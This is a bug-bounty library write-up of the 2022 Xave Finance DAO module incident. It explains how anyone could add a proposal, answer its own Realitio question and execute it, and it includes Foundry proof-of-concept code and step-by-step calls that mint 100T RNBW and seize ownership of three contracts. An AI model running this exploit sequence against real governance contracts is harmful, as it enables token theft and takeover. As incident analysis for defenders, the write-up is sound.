# Xave Finance DAO module: unauthenticated proposal mints 100T RNBW

Xave Finance DAO module let anyone add a proposal and self-answer its Realitio question, then execute it to mint 100T RNBW and seize ownership of RNBW, LPOP and PrimaryBridge.

- Payout: Real-world hack
- Severity: critical
- Program: Xave Finance
- Analysis by: DeFiHackLabs
- Disclosed: 2022-10-09
- Write-up quality: 7/10
- Original: https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2022-10/XaveFinance_exp.sol
- Library page: https://bugbountylibrary.com/r/dhl%3A20221009-xavefinance
- Tags: area:web3 domain:web3 impact:funds-loss impact:integrity kind:incident platform:defihacklabs sev:critical tech:evm tech:solidity technique:source-review vuln:access-control vuln:governance vuln:oracle-manipulation

**Target:** DAO module (SafeSnap-style proposal executor) with Realitio oracle
**Root cause:** The DAO module's addProposal and executeProposalWithIndex lacked access control and did not verify that the Realitio question was answered by the legitimate oracle/snapshot; anyone could register a proposal and submit the answer themselves.
**Steps:**
1. Build tx hashes via `DAO_MODULE.getTransactionHash(to, value, data, Enum.Operation(0), nonce)` for: `mint(ATTACKER_EOA, 100_000_000_000_000_000_000_000_000_000_000)` on RNBW, and `transferOwnership(ATTACKER_EOA)` on RNBW, LPOP and PrimaryBridge.
2. Call `DAO_MODULE.addProposal("2", txIDs)` with the four hashes.
3. Call `DAO_MODULE.buildQuestion("2", txIDs)` and derive `qID = DAO_MODULE.questionIds(keccak256(bytes(q)))`.
4. Call `REALITIO.submitAnswer{value:1}(qID, bytes32(uint256(1)), 0)` to self-answer the question.
5. Wait past the 24h delay (`vm.warp(block.timestamp + 24*60*60)`).
6. Call `DAO_MODULE.executeProposalWithIndex("2", txIDs, to, 0, data, Enum.Operation(0), index)` for each of the four transactions, minting tokens and transferring ownership to the attacker.
**Exploitation:** Attacker registered a malicious 4-tx proposal on the permissionless DAO module, self-answered the associated Realitio question, waited out the 24h timelock, then executed each tx: minted 100T RNBW to the attacker EOA and transferred ownership of RNBW, LPOP and PrimaryBridge to the attacker.
**Escalation:** Chained token mint with ownership takeover of three contracts (RNBW, LPOP, PrimaryBridge), giving full control over the bridge and remaining token supply.
**Insight:** SafeSnap-style DAO modules that accept arbitrary proposals and rely on an external oracle (Realitio) must verify the oracle answer came from the legitimate resolver; if addProposal is permissionless and the question ID is derivable, an attacker can self-answer and execute arbitrary calls after the timelock.

## Proof of concept (copied exactly from the original report)

**Foundry PoC: addProposal, fake Realitio answer, execute mint**

```
DAO_MODULE.addProposal("2", txIDs);
        string memory q = DAO_MODULE.buildQuestion("2", txIDs);
        bytes32 qID = DAO_MODULE.questionIds(keccak256(bytes(q)));
        REALITIO.submitAnswer{value: 1}(qID, bytes32(uint256(1)), 0);

        vm.warp(block.timestamp + 24 * 60 * 60);

        emit log_named_address("[Before proposal Execution] Owner of $RNBW: ", RNBW_TOKEN.owner());
        emit log_named_address("[Before proposal Execution] Owner of $LPOP: ", LPOP_TOKEN.owner());
        emit log_named_address("[Before proposal Execution] Owner of PrimaryBridge: ", PRIMARY_BRIDGE.owner());
        emit log_named_decimal_uint(
            "[Before proposal Execution] Attacker's $RNBW Token Balance: ", RNBW_TOKEN.balanceOf(ATTACKER_EOA), 18
        );

        vm.startPrank(ATTACKER_CONTRACT);

        // Execute mint 100,000,000,000,000 RNBW tokens
        DAO_MODULE.executeProposalWithIndex(
            "2",
            txIDs,
            address(RNBW_TOKEN),
            0,
            encodeWithSignature_mint(ATTACKER_EOA, 100_000_000_000_000_000_000_000_000_000_000),
            //hex"40c10f190000000000000000000000000f44f3489d17e42ab13a6beb76e57813081fc1e200000000000000000000000000000000000004ee2d6d415b85acef8100000000",
            Enum.Operation(0),
            0
        );
```

**Malicious mint transaction hash built for proposal**

```
bytes32 tx0 = DAO_MODULE.getTransactionHash(
            address(RNBW_TOKEN),
            0,
            encodeWithSignature_mint(ATTACKER_EOA, 100_000_000_000_000_000_000_000_000_000_000),
            //hex"40c10f190000000000000000000000000f44f3489d17e42ab13a6beb76e57813081fc1e200000000000000000000000000000000000004ee2d6d415b85acef8100000000",
            Enum.Operation(0),
            0
        );
```

